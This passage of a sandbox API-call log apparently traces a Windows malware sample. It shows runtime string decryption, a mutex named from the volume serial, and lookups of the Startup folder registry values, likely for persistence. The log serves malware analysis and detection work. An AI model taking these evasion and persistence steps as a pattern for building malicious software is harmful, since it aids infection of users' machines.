SetLastError (dwErrCode=0x0) [0155.902] GetLastError () returned 0x0 [0155.902] SetLastError (dwErrCode=0x0) [0155.902] GetLastError () returned 0x0 [0155.902] SetLastError (dwErrCode=0x0) [0155.902] GetLastError () returned 0x0 [0155.902] SetLastError (dwErrCode=0x0) [0155.902] GetLastError () returned 0x0 [0155.902] SetLastError (dwErrCode=0x0) [0155.902] GetLastError () returned 0x0 [0155.902] SetLastError (dwErrCode=0x0) [0155.902] GetLastError () returned 0x0 [0155.903] SetLastError (dwErrCode=0x0) [0155.903] GetLastError () returned 0x0 [0155.903] SetLastError (dwErrCode=0x0) [0155.903] GetLastError () returned 0x0 [0155.903] SetLastError (dwErrCode=0x0) [0155.903] GetLastError () returned 0x0 [0155.903] SetLastError (dwErrCode=0x0) [0155.903] GetLastError () returned 0x0 [0155.903] SetLastError (dwErrCode=0x0) [0155.903] GetLastError () returned 0x0 [0155.903] SetLastError (dwErrCode=0x0) [0155.903] GetLastError () returned 0x0 [0155.903] SetLastError (dwErrCode=0x0) [0155.903] GetLastError () returned 0x0 [0155.903] SetLastError (dwErrCode=0x0) [0155.903] GetLastError () returned 0x0 [0155.903] SetLastError (dwErrCode=0x0) [0155.903] GetLastError () returned 0x0 [0155.903] SetLastError (dwErrCode=0x0) [0155.903] GetLastError () returned 0x0 [0155.903] SetLastError (dwErrCode=0x0) [0155.903] GetLastError () returned 0x0 [0155.903] SetLastError (dwErrCode=0x0) [0155.904] GetLastError () returned 0x0 [0155.904] SetLastError (dwErrCode=0x0) [0155.904] GetLastError () returned 0x0 [0155.904] SetLastError (dwErrCode=0x0) [0155.904] GetLastError () returned 0x0 [0155.904] SetLastError (dwErrCode=0x0) [0155.904] GetLastError () returned 0x0 [0155.904] SetLastError (dwErrCode=0x0) [0155.904] GetLastError () returned 0x0 [0155.904] SetLastError (dwErrCode=0x0) [0155.904] GetLastError () returned 0x0 [0156.027] SetLastError (dwErrCode=0x0) [0156.027] GetLastError () returned 0x0 [0156.027] SetLastError (dwErrCode=0x0) [0156.027] GetLastError () returned 0x0 [0156.027] SetLastError (dwErrCode=0x0) [0156.027] GetLastError () returned 0x0 [0156.027] SetLastError (dwErrCode=0x0) [0156.027] GetLastError () returned 0x0 [0156.027] SetLastError (dwErrCode=0x0) [0156.027] GetLastError () returned 0x0 [0156.027] SetLastError (dwErrCode=0x0) [0156.027] GetLastError () returned 0x0 [0156.027] SetLastError (dwErrCode=0x0) [0156.027] GetLastError () returned 0x0 [0156.027] SetLastError (dwErrCode=0x0) [0156.027] GetLastError () returned 0x0 [0156.027] SetLastError (dwErrCode=0x0) [0156.027] GetLastError () returned 0x0 [0156.027] SetLastError (dwErrCode=0x0) [0156.028] GetLastError () returned 0x0 [0156.028] SetLastError (dwErrCode=0x0) [0156.028] GetLastError () returned 0x0 [0156.028] SetLastError (dwErrCode=0x0) [0156.028] GetLastError () returned 0x0 [0156.028] SetLastError (dwErrCode=0x0) [0156.028] GetLastError () returned 0x0 [0156.028] SetLastError (dwErrCode=0x0) [0156.028] GetLastError () returned 0x0 [0156.028] SetLastError (dwErrCode=0x0) [0156.028] GetLastError () returned 0x0 [0156.028] SetLastError (dwErrCode=0x0) [0156.028] GetLastError () returned 0x0 [0156.028] SetLastError (dwErrCode=0x0) [0156.028] GetLastError () returned 0x0 [0156.028] SetLastError (dwErrCode=0x0) [0156.028] GetLastError () returned 0x0 [0156.028] SetLastError (dwErrCode=0x0) [0156.028] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x30) returned 0x6f0fd0 [0156.028] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x2cc0) returned 0x6f1fc8 [0156.029] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x15c) returned 0x6f4c90 [0156.029] GetTickCount () returned 0x140ad [0156.029] GetLastError () returned 0x0 [0156.029] SetLastError (dwErrCode=0x0) [0156.029] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0xaffac0, cchData=32 | out: lpLCData="\x03") returned 16 [0156.030] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1c) returned 0x6f4df8 [0156.030] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1c) returned 0x6f4e20 [0156.030] GetVersion () returned 0x23f00206 [0156.030] GetCurrentProcess () returned 0xffffffff [0156.030] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xaffa24 | out: TokenHandle=0xaffa24*=0x1ec) returned 1 [0156.030] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x14, TokenInformation=0xaffa1c, TokenInformationLength=0x4, ReturnLength=0xaffa20 | out: TokenInformation=0xaffa1c, ReturnLength=0xaffa20) returned 1 [0156.030] CloseHandle (hObject=0x1ec) returned 1 [0156.030] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f4e48 [0156.030] CryptAcquireContextW (in: phProv=0xc4fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xc4fcf0*=0x1a67b8) returned 1 [0156.041] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff918, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff980 | out: phKey=0xaff980*=0x1b94c8) returned 1 [0156.042] CryptSetKeyParam (hKey=0x1b94c8, dwParam=0x1, pbData=0xaff968, dwFlags=0x0) returned 1 [0156.042] CryptDecrypt (in: hKey=0x1b94c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4e48, pdwDataLen=0xaff934 | out: pbData=0x6f4e48, pdwDataLen=0xaff934) returned 1 [0156.042] CryptDestroyKey (hKey=0x1b94c8) returned 1 [0156.042] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f4e70 [0156.042] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f4e98 [0156.042] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f4ec0 [0156.042] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff8f0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff958 | out: phKey=0xaff958*=0x1b8e88) returned 1 [0156.042] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0xaff940, dwFlags=0x0) returned 1 [0156.042] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4ec0, pdwDataLen=0xaff90c | out: pbData=0x6f4ec0, pdwDataLen=0xaff90c) returned 1 [0156.042] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0156.042] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4ec0 | out: hHeap=0x6f0000) returned 1 [0156.042] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f4e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0156.042] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e98 | out: hHeap=0x6f0000) returned 1 [0156.042] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e48 | out: hHeap=0x6f0000) returned 1 [0156.043] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xaff9c0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xaff9c0*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0156.043] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e70 | out: hHeap=0x6f0000) returned 1 [0156.043] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6f4e48 [0156.043] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff94c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9b4 | out: phKey=0xaff9b4*=0x1b9388) returned 1 [0156.043] CryptSetKeyParam (hKey=0x1b9388, dwParam=0x1, pbData=0xaff99c, dwFlags=0x0) returned 1 [0156.043] CryptDecrypt (in: hKey=0x1b9388, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4e48, pdwDataLen=0xaff968 | out: pbData=0x6f4e48, pdwDataLen=0xaff968) returned 1 [0156.043] CryptDestroyKey (hKey=0x1b9388) returned 1 [0156.043] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6f4e90 [0156.043] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x1f0 [0156.043] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0156.043] CloseHandle (hObject=0x1f0) returned 1 [0156.043] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e48 | out: hHeap=0x6f0000) returned 1 [0156.043] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e90 | out: hHeap=0x6f0000) returned 1 [0156.043] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f4e48 [0156.043] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff92c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff994 | out: phKey=0xaff994*=0x1b8f08) returned 1 [0156.043] CryptSetKeyParam (hKey=0x1b8f08, dwParam=0x1, pbData=0xaff97c, dwFlags=0x0) returned 1 [0156.044] CryptDecrypt (in: hKey=0x1b8f08, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4e48, pdwDataLen=0xaff948 | out: pbData=0x6f4e48, pdwDataLen=0xaff948) returned 1 [0156.044] CryptDestroyKey (hKey=0x1b8f08) returned 1 [0156.044] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f4e70 [0156.044] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f4e98 [0156.044] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f4ec0 [0156.044] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff904, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff96c | out: phKey=0xaff96c*=0x1b90c8) returned 1 [0156.044] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff954, dwFlags=0x0) returned 1 [0156.044] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4ec0, pdwDataLen=0xaff920 | out: pbData=0x6f4ec0, pdwDataLen=0xaff920) returned 1 [0156.044] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0156.044] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4ec0 | out: hHeap=0x6f0000) returned 1 [0156.044] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f4e70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0156.044] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e98 | out: hHeap=0x6f0000) returned 1 [0156.044] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e48 | out: hHeap=0x6f0000) returned 1 [0156.044] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xaff9d4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xaff9d4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0156.044] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e70 | out: hHeap=0x6f0000) returned 1 [0156.044] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6f4e48 [0156.044] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff960, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9c8 | out: phKey=0xaff9c8*=0x1b9348) returned 1 [0156.044] CryptSetKeyParam (hKey=0x1b9348, dwParam=0x1, pbData=0xaff9b0, dwFlags=0x0) returned 1 [0156.044] CryptDecrypt (in: hKey=0x1b9348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4e48, pdwDataLen=0xaff97c | out: pbData=0x6f4e48, pdwDataLen=0xaff97c) returned 1 [0156.044] CryptDestroyKey (hKey=0x1b9348) returned 1 [0156.044] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6f4e90 [0156.044] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x0 [0156.045] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773001") returned 0x1f0 [0156.045] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0156.045] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e48 | out: hHeap=0x6f0000) returned 1 [0156.045] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4e90 | out: hHeap=0x6f0000) returned 1 [0156.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xc41f5f, lpParameter=0xaffa64, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218 [0156.046] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x60) returned 0x6f4e48 [0156.046] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff970, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9d8 | out: phKey=0xaff9d8*=0x1b8e88) returned 1 [0156.046] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0xaff9c0, dwFlags=0x0) returned 1 [0156.046] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4e48, pdwDataLen=0xaff98c | out: pbData=0x6f4e48, pdwDataLen=0xaff98c) returned 1 [0156.046] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0156.046] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f4eb0 [0156.046] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff948, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9b0 | out: phKey=0xaff9b0*=0x1b8f88) returned 1 [0156.046] CryptSetKeyParam (hKey=0x1b8f88, dwParam=0x1, pbData=0xaff998, dwFlags=0x0) returned 1 [0156.046] CryptDecrypt (in: hKey=0x1b8f88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4eb0, pdwDataLen=0xaff964 | out: pbData=0x6f4eb0, pdwDataLen=0xaff964) returned 1 [0156.046] CryptDestroyKey (hKey=0x1b8f88) returned 1 [0156.046] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f4ed8 [0156.046] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f4f00 [0156.046] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f4f28 [0156.046] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff920, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff988 | out: phKey=0xaff988*=0x1b8e88) returned 1 [0156.046] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0xaff970, dwFlags=0x0) returned 1 [0156.046] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4f28, pdwDataLen=0xaff93c | out: pbData=0x6f4f28, pdwDataLen=0xaff93c) returned 1 [0156.047] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0156.047] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f28 | out: hHeap=0x6f0000) returned 1 [0156.047] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x6f4ed8, nSize=0xf | out: lpDst="") returned 0x1e [0156.047] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f00 | out: hHeap=0x6f0000) returned 1 [0156.047] RtlReAllocateHeap (Heap=0x6f0000, Flags=0x0, Ptr=0x6f4ed8, Size=0x3a) returned 0x6f4ed8 [0156.047] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x3a) returned 0x6f4f20 [0156.047] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1008 [0156.047] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff984 | out: phKey=0xaff984*=0x1b9208) returned 1 [0156.047] CryptSetKeyParam (hKey=0x1b9208, dwParam=0x1, pbData=0xaff96c, dwFlags=0x0) returned 1 [0156.047] CryptDecrypt (in: hKey=0x1b9208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1008, pdwDataLen=0xaff938 | out: pbData=0x6f1008, pdwDataLen=0xaff938) returned 1 [0156.047] CryptDestroyKey (hKey=0x1b9208) returned 1 [0156.047] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1008 | out: hHeap=0x6f0000) returned 1 [0156.047] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x6f4ed8, nSize=0x1d | out: lpDst="") returned 0x1e [0156.047] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f20 | out: hHeap=0x6f0000) returned 1 [0156.047] RtlReAllocateHeap (Heap=0x6f0000, Flags=0x0, Ptr=0x6f4ed8, Size=0x72) returned 0x6f4ed8 [0156.047] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x72) returned 0x6f4f58 [0156.047] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1008 [0156.047] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff984 | out: phKey=0xaff984*=0x1b8e88) returned 1 [0156.047] CryptSetKeyParam (hKey=0x1b8e88, dwParam=0x1, pbData=0xaff96c, dwFlags=0x0) returned 1 [0156.047] CryptDecrypt (in: hKey=0x1b8e88, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1008, pdwDataLen=0xaff938 | out: pbData=0x6f1008, pdwDataLen=0xaff938) returned 1 [0156.047] CryptDestroyKey (hKey=0x1b8e88) returned 1 [0156.047] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1008 | out: hHeap=0x6f0000) returned 1 [0156.047] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x6f4ed8, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0156.047] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4f58 | out: hHeap=0x6f0000) returned 1 [0156.047] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4eb0 | out: hHeap=0x6f0000) returned 1 [0156.047] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6f4f58 [0156.047] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff944, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9ac | out: phKey=0xaff9ac*=0x1b90c8) returned 1 [0156.047] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff994, dwFlags=0x0) returned 1 [0156.047] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f4f58, pdwDataLen=0xaff960 | out: pbData=0x6f4f58, pdwDataLen=0xaff960) returned 1 [0156.047] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0156.047] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x3e) returned 0x6f4fa0 [0156.047] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x3e) returned 0x6f1008 [0156.047] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1050 [0156.048] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff984 | out: phKey=0xaff984*=0x1b90c8) returned 1 [0156.048] CryptSetKeyParam (hKey=0x1b90c8, dwParam=0x1, pbData=0xaff96c, dwFlags=0x0) returned 1 [0156.048] CryptDecrypt (in: hKey=0x1b90c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1050, pdwDataLen=0xaff938 | out: pbData=0x6f1050, pdwDataLen=0xaff938) returned 1 [0156.048] CryptDestroyKey (hKey=0x1b90c8) returned 1 [0156.048] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x10) returned 0x6f4eb0 [0156.048] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff900 | out: phkResult=0xaff900*=0x220) returned 0x0 [0156.048] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0xaff8fc, lpData=0x6f1008, lpcbData=0xaff904*=0x3e | out: lpType=0xaff8fc*=0x2, lpData=0x6f1008*=0xc0, lpcbData=0xaff904*=0x98) returned 0xea [0156.048] RegCloseKey (hKey=0x220) returned 0x0 [0156.048] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4eb0 | out: hHeap=0x6f0000) returned 1 [0156.048] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1050 | out: hHeap=0x6f0000) returned 1 [0156.048] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1008 | out: hHeap=0x6f0000) returned 1 [0156.048] RtlReAllocateHeap (Heap=0x6f0000, Flags=0x0, Ptr=0x6f4fa0, Size=0x7a) returned 0x6f1008 [0156.048] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x7a) returned 0x6f1090 [0156.048] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1118 [0156.048] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff918, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff980 | out: phKey=0xaff980*=0x1b9208) returned 1 [0156.048] CryptSetKeyParam (hKey=0x1b9208, dwParam=0x1, pbData=0xaff968, dwFlags=0x0) returned 1 [0156.048] CryptDecrypt (in: hKey=0x1b9208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1118, pdwDataLen=0xaff934 | out: pbData=0x6f1118, pdwDataLen=0xaff934) returned 1 [0156.048] CryptDestroyKey (hKey=0x1b9208) returned 1 [0156.048] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x10) returned 0x6f4eb0 [0156.048] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff8fc | out: phkResult=0xaff8fc*=0x220) returned 0x0 [0156.048] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0xaff8f8, lpData=0x6f1090, lpcbData=0xaff900*=0x7a | out: lpType=0xaff8f8*=0x2, lpData=0x6f1090*=0xc0, lpcbData=0xaff900*=0x98) returned 0xea [0156.048] RegCloseKey (hKey=0x220) returned 0x0 [0156.048] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4eb0 | out: hHeap=0x6f0000) returned 1 [0156.048] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1118 | out: hHeap=0x6f0000) returned 1 [0156.048] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1090 | out: hHeap=0x6f0000) returned 1 [0156.049] RtlReAllocateHeap (Heap=0x6f0000, Flags=0x0, Ptr=0x6f1008, Size=0xf2) returned 0x6f1008 [0156.049] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0xf2) returned 0x6f1108 [0156.049] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f1208 [0156.049] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff918, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff980 | out: phKey=0xaff980*=0x1b9348) returned 1 [0156.049] CryptSetKeyParam (hKey=0x1b9348, dwParam=0x1, pbData=0xaff968, dwFlags=0x0) returned 1 [0156.049] CryptDecrypt (in: hKey=0x1b9348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f1208, pdwDataLen=0xaff934 | out: pbData=0x6f1208, pdwDataLen=0xaff934) returned 1 [0156.049] CryptDestroyKey (hKey=0x1b9348) returned 1 [0156.049] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x10) returned 0x6f4eb0 [0156.049] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff8fc | out: phkResult=0xaff8fc*=0x220) returned 0x0 [0156.049] RegQueryValueExW (in: hKey=0x220, lpValueName="Startup", lpReserved=0x0, lpType=0xaff8f8, lpData=0x6f1108, lpcbData=0xaff900*=0xf2 | out: lpType=0xaff8f8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0xaff900*=0x98) returned 0x0 [0156.049] RegCloseKey (hKey=0x220) returned 0x0 [0156.049] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4eb0 | out: hHeap=0x6f0000) returned 1 [0156.049] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f4eb0 [0156.049] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff8fc | out: phkResult=0xaff8fc*=0x220) returned 0x0 [0156.049] RegQueryValueExW (in: hKey=0x220, lpValueName="Common Startup", lpReserved=0x0, lpType=0xaff8f8, lpData=0x6f11a0, lpcbData=0xaff900*=0x5a | out: lpType=0xaff8f8*=0x0, lpData=0x6f11a0*=0x73, lpcbData=0xaff900*=0x5a) returned 0x2 [0156.049] RegCloseKey (hKey=0x220) returned 0x0 [0156.049] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xaff910 | out: phkResult=0xaff910*=0x220) returned 0x0 [0156.049] RegQueryValueExW (in: hKey=0x220, lpValueName="Common Startup", lpReserved=0x0, lpType=0xaff90c, lpData=0x6f11a0, lpcbData=0xaff914*=0x5a | out: lpType=0xaff90c*=0x2, lpData=0x6f11a0*=0x73, lpcbData=0xaff914*=0x78) returned 0xea [0156.049] RegCloseKey (hKey=0x220) returned 0x0 [0156.049] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f4eb0 | out: hHeap=0x6f0000) returned 1 [0156.049] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1208 | out: hHeap=0x6f0000) returned 1 [0156.049] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f1108 | out: hHeap=0x6f0000) returned 1 [0156.049] RtlReAllocateHeap (Heap=0x6f0000, Flags=0x0, Ptr=0x6f1008, Size=0x1e2) returned 0x6f1008 [0156.049] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e2) returned 0x6f11f8 [0156.049] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6f13e8 [0156.050] CryptImportKey (in: hProv=0x1a67b8, pbData=0xaff918, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff980 | out: phKey=0xaff980*=0x1b9208) returned 1 [0156.050] CryptSetKeyParam (hKey=0x1b9208, dwParam=0x1, pbData=0xaff968, dwFlags=0x0) returned 1 [0156.050] CryptDecrypt (in: hKey=0x1b9208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f13e8, pdwDataLen=0xaff934 | out: pbData=0x6f13e8, pdwDataLen=0xaff934) returned 1 [0156.050] CryptDestroyKey (hKey=0x1b9208) returned 1 [0156.050] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x10) returned 0x6f4eb0 [0156.050] RegOpenKeyExW (in: hKey=0x80000001, 